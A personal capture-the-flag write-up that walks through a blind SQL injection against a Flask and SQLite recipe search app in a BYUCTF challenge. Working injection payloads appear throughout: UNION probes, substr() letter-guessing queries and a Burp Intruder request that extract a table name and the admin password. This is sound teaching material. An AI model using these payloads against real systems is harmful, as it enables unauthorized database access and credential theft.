Cooking Flask: A Blind SQL Injection Attack
Problem
So the important peices here are that the app is using Flask, there is a database, an admin user, their password has the flag, and a little hint at the end “burp. Sweet,” we know we’ll be using Burpsuite.
Looking at the front end we have a recipe search with 3 types of input. When we click search the 3 parameters are in the URL.
GET /search?recipe_name=&description=&tags= HTTP/2
Solution
Initial SQL injection
First we’ll check each parameter for any strange behaviour.
Adding a single quote '
into the tags parameter nets us with this error.
So we now know that this app is using Sqlite3 along with what we already knew Flask. We also now know that tags is not sanitised.
It is expecting a closing bracket so lets add that and do a basic SQL Injection to get all recipies as a test.
') OR 1=1--
So that worked but there’s nothing particularly useful in here.
Let’s now switch over to burpsuite and use the repeater so we can more easily craft and send requests.
Getting Table Names
wanted to try get all the tables to see where i need to get the password
name FROM my_db.sqlite_master WHERE type='table'
%27)%20OR%201%3D1%20UNION%20ALL%20SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27–
sqlite3.OperationalError: SELECTs to the left and right of UNION ALL do not have the same number of result columns
makes sense, shouldve seen that coming
slowly add NULL paramerters until there’s no error
aka
OR 1=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,name FROM sqlite_master WHERE type=‘table’–
after 8 total parameters the error changes TypeError: the JSON object must be str, bytes or bytearray, not NoneType
‘) OR 1%3D1 UNION ALL SELECT NULL,NULL,NULL,NULL,NxULL,NULL,NULL,name FROM sqlite_master WHERE type=‘table’–
oh yay another new error
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
after trying to solve this, i backtracked a bit to go down another path
using https://portswigger.net/web-security/sql-injection/cheat-sheet I crafted: ’ OR substr((SELECT name FROM sqlite_master WHERE type=‘table’ LIMIT 1 OFFSET 0), 1, 1) = ‘u’–
allowing me to letter by letter get the table name where the users are stored. my assumtion was right that it would be called something along the lines of users or members.
each time i send these I will get all the recipies returned to me only when the eltter is correct.
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 1, 1) = 'u'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 2, 1) = 's'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 3, 1) = 'e'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 4, 1) = 'r'--
good so far…
’ OR substr((SELECT name FROM sqlite_master WHERE type=‘table’ LIMIT 1 OFFSET 0), 5, 1) = ’s’–
huh i though it would be users
but this confirms theres no s. Just to make sure thats the end we can check the 5th place for nothing and sure enough.
’ OR substr((SELECT name FROM sqlite_master WHERE type=‘table’ LIMIT 1 OFFSET 0), 5, 1) = ‘’–
now we can look in the correct table.
the flag format is byuctf{flag} so I started with: ‘) OR substr((SELECT password FROM user LIMIT 1 OFFSET 0), 1, 1) LIKE ‘b’–
and worked forward. This was going to take a looong time…
using the burp suite inbtruder. i placed my §§ where i wanted the letter to chnage and made a simple payload list with a-z, 0-9, \_, -, and }
GET /search?recipe_name=omlet&description=egg&tags=’)+OR+substr((SELECT+password+FROM+user+LIMIT+1+OFFSET+0),+46,+1)+LIKE+’§§’+ESCAPE+’'– HTTP/2
we use the ESCAPE to allow for underscores as without the escape it would be read as a wildcard, matching anything.
what would have been most optimal is using 2 payloads however that is only available to pro users. I could have also made my own script but only in hindsight does that seem worth my time.
setting off the attack, each request is send and the responeses are all the smae size until the correct letter. then we stop, inrement the number to move to the next place and repeat. this was done a total of FIFTY ONE TIMES!
and we end up with
byuctf{pl34s3_p4r4m3t3r1z3_y0ur_1nputs_4nd_h4sh_p4ssw0rds}
both very true.
Im not if there was a more elegant way of solving this problem with out bild letter guessing, but hey my way worked so I can’t complain. Now i have some more blind SQL experience under my belt for the future.
Thanks for reading!
More from this CTF: BYUCTF Willy Wonka Web